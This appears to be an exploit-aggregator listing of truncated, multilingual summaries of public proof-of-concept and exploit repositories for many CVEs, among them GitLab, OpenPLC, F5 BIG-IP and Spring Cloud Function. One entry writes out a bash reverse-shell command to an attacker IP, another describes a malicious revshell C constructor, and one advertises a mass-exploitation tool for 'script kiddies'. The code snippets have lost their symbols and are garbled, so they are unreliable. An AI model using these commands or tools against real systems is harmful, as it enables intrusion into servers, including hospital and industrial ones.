CVE-2023-43208

RCE-Sicherheitslücke in Mirth Connect CVE-2023-37679 und CVE-2023-43208 Dieses Exploit-Skript und PoC wurden für eine detaillierte CVE-Analyse auf vsociety geschrieben. CVE-2023-43208 ist ein schwerwiegender Sicherheitsfehler in NextGen Mirth Connect, einem Tool, das von Krankenhäusern und Klinik...

CVE-2018-6574

CVE-2018-6574 Passos para reproduzir: 1. Crie um arquivo .c contendo o comando malicioso revshell: root@kitploit: include include static void malicious attributeconstructor; void malicious system""; 2. Compile-o usando GCC. Você deve compilá-lo exatamente na mesma arquitetura e SO do alvo por...

CVE-2016-2098

CVE-2016-2098 Action Pack no Ruby on Rails anterior a 3.2.22.2, 4.x anterior a 4.1.14.2 e 4.2.x anterior a 4.2.5.2 permite que atacantes remotos executem código Ruby arbitrário ao explorar o uso irrestrito do método render por uma aplicação RCE https://nvd.nist.gov/vuln/detail/CVE-2016-2098 Uso g...

CVE-2015-9331

CVE-2015-9331 POC Descrição da Vulnerabilidade CVE-2015-9331 é uma vulnerabilidade de upload arbitrário de arquivos no plugin WP All Import do WordPress. A vulnerabilidade permite que um invasor não autenticado faça upload de arquivos arbitrários para o servidor, podendo levar à execução remota d...

CVE-2024-1651-PoC

CVE-2024-1651 Diese CVE wurde von Carlos Bello vom Fluid Attack Offensive Team entdeckt. Der Fund behandelt unsichere Objektdeserialisierung, um RCE Remote Code Execution zu erreichen. Hier habe ich einen schnelleren und benutzerfreundlicheren PoC Proof of Concept erstellt. Daher kann dies als...

CVE-2025-4322-Exploit

CVE-2025-4322 - Modifica della password non verificata CWE-620 Exploit: Scarica qui Dettagli CVE ID : CVE-2025-4322 Pubblicato : 05/20/2025 Impatto : Critico CVSS : 9.8 Patch disponibile: Nessuna patch ufficiale al momento Impatto Vulnerabilità di gravità critica che consente agli aggressori di...

CVE-2025-2783

Chromium CVE-2025-2783: Escape dalla Sandbox & Exploit RCE a Catena Completa Questo repository contiene un'implementazione di exploit a catena completa per CVE-2025-2783. La vulnerabilità risiede nel layer di comunicazione Ipcz di Chromium, consentendo a un attaccante di ottenere escape dalla...

cve-2021-31630

本脚本可自动利用 OpenPLC Web Server v3 中的漏洞。 您将能够与服务器建立自动反向 Shell，无需使用手动技术。 CVE-2021-31630 详情 Open PLC Webserver v3 中的命令注入漏洞允许远程攻击者通过应用程序 "/hardware" 页面上的 "Hardware Layer Code Box" 组件执行任意代码。 该脚本经过定制，完成在 OpenPLC 中的注册后，会在同一终端生成机器的 Shell。 使用以下命令（建议创建 Python 虚拟环境安装依赖项） 但是，breakerplc.py 脚本必须在虚拟环境外执行。...

CVE-2021-20837

CVE-2021-20837 MovableType XMLRPC - RCE...

CVE-2020-8254

CVE-2020-8254：Pulse Secure VPN Windows 客户端中的 Zip Slip 漏洞 Pulse Secure Desktop Client 9.1R9 中存在一个漏洞，如果能够说服用户连接到恶意服务器，则可能导致远程代码执行（RCE）。 厂商披露： 厂商关于此漏洞的披露和修复信息可在此处找到。 要求： 此漏洞需要： 用户交互（受害者需要在被要求下载“Host Checker”软件时点击“是”或“始终”） 概念验证： 更多详情及利用过程可参见此PDF。...

CVE-2020-7961-Mass

CVE-2020-7961-Mass CVE-2020–7961 批量利用工具，适用于脚本小子 已在 Kali Linux、Windows 上测试…… 需求： apt install python3 pip3 install requests colorama 用法： python3 rce.py 目标 URL | 针对单个目标 python3 mass.py URL 列表 | 针对列表中的目标 保存至文件：linux.txt, win.txt 简易 Shell： python shell.py 目标 Dork：...

CVE-2024-51793

WordPress Computer Repair Shop = 3.8115 – Nicht authentifizierter beliebiger Datei-Upload CVE-2024-51793 Das CRM WordPress Plugin – RepairBuddy Plugin für WordPress ist anfällig für beliebige Datei-Uploads aufgrund fehlender Dateityp-Validierung in allen Versionen bis einschließlich 3.8115. Dies...

CVE-2026-6279

╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder = 3.15.2 ║ ║ 인증되지 않은 calluserfunc를 통한 RCE ║ ╚══════════════════════════════════════════════════════════════╝ 📋 요약...

CVE-2026-23918-poc

CVE-2026-23918 — Apache modhttp2 이중 해제 영향받는 버전: Apache HTTP Server 2.4.66에 modhttp2 + Event MPM 수정 버전: Apache 2.4.67 modh2 v2.0.37 CVSS 3.1: 8.8 HIGH — 인증되지 않은 원격 코드 실행 가능 CWE: CWE-415 이중 해제 취약점 개요 Apache 2.4.66의 modhttp2는 h2mplx.c:mstreamcleanup 내부에 이중 해제 버그가 있습니다. 이 문제는 클라이언트가 동일한 스트림에서 HEADERS...

CVE-2017-1000486

CVE-2017-1000486 Эксплойт удаленного выполнения кода для PrimeFaces 5.x - EL Injection CVE-2017-1000486 Это по сути тот же эксплойт, созданный Mogwailabs, но измененный для работы в закрытых средах без доступа к интернету или с заблокированным исходящим трафиком брандмауэра. Он выдает результаты ...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Тестовая версия Создание команды для эксплуатации уязвимости root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Создание изображения для эксплуатации с помощью djvumake root@kitploit:...

f5-bigip-rce-cve-2020-5902

F5 BIG-IP RCE（CVE-2020-5902）취약점 탐지 도구 요약 20200706, 온라인에서 F5 BIG-IP TMUI RCE 취약점이 공개되었습니다. F5 BIG-IP의 TMUI 구성 요소트래픽 관리 사용자 인터페이스에 인증 우회 취약점이 존재합니다. 이 취약점은 Tomcat이 URL을 파싱하는 방식과 request.getPathInfo 간의 차이로 인해 권한 검증을 우회할 수 있어, 인증 없이 TMUI 모듈의 모든 기능에 접근할 수 있고, 이를 통해 임의 파일 읽기/쓰기, 명령 실행 등이 가능합니다. 자세한 내용은...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function SpEL 표현식 주입 원격 코드 실행 취약점 탐지 및 활용 도구. 취약점 개요 CVE-2022-22963 는 Spring Cloud Function 라우팅 기능의 고위험 RCE 취약점입니다CVSS 9.8. 애플리케이션이 /functionRouter 엔드포인트를 활성화하면, spring.cloud.function.routing-expression 요청 헤더의 값이 SpELSpring Expression Language 표현식으로 직접 실행되어, 공격자가 인증 없이...

CVE-2025-55182

CVE-2025-55182 취약점 탐지 및 익스플로잇 도구 프로젝트 소개 이 도구는 Java Swing 기반으로 개발된 GUI 도구로, CVE-2025-55182 취약점을 탐지하고 익스플로잇하는 데 사용됩니다. 이 취약점은 Next.js 프레임워크의 보안 취약점으로, 공격자가 특정 요청을 구성하여 임의의 명령을 실행할 수 있습니다. 기능 특징 1. 취약점 탐지 여러 URL 스캔 지원 멀티스레드 동시 스캔을 통한 탐지 속도 향상 실시간 스캔 진행률 및 개수 표시 예: 1/1000 0% 취약점이 존재하는 대상만 표시, 관련 없는...

CVE-2024-34361-Pi-Hole-SSRF-to-RCE

CVE-2024-34361 Esecuzione remota di codice in Pi-hole da SSRF a RCE Descrizione Questo repository contiene uno sfruttamento per CVE-2024-34361, una vulnerabilità critica CVSS 8.6 scoperta in Pi-hole, un sinkhole DNS ampiamente utilizzato per bloccare annunci pubblicitari e domini di tracciamento ...